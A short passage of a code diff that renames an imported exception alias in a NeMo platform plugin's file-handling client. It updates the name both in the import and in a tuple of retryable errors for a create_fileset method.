nemo_platform_plugin.client.errors import ( - InternalServerError as FilesInternalServerError, + InternalServerError as ClientInternalServerError, ) from nemo_platform_plugin.client.types import RetryPolicy from nemo_platform_plugin.files.client import FilesClient @@ -304,7 +304,7 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N InternalServerError, APITimeoutError, APIConnectionError, - FilesInternalServerError, + ClientInternalServerError, httpx.TimeoutException, httpx.ConnectError, )